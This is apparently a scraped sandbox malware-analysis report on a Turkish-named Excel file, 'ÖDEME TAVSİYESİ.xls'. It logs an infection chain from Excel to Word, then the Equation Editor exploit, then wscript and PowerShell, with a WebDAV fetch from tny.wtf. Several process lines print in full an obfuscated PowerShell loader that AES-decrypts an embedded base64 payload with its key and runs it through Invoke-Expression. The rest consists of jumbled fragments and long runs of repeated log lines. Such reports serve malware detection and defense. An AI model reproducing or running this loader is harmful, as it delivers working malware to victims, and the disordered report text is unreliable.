'+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_002256F6	9_2_002256F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_002271E8	9_2_002271E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0022966C	9_2_0022966C

Source: ~DFB88BC22996138750.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: #U00d6DEME TAVS#U0130YES#U0130.xls	OLE indicator, Workbook stream: true
Source: F0630000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....@.......H................K..............................................X..........s......&.....			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....@.......H................K........................................&.......................&.....			Jump to behavior

Windows Analysis Report #U00d6DEME TAVS#U0130YES#U0130.xls

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Cryptography

Exploits

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
#U00d6DEME TAVS#U0130YES#U0130.xls

Malware Threat Intel
Provided by

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 7_2_005EFAFA push ss; iretd		7_2_005EFB02
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 7_2_005FC38C pushad ; ret		7_2_005FC38D

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File dump: createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: C63FEFCD.doc.3.dr			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
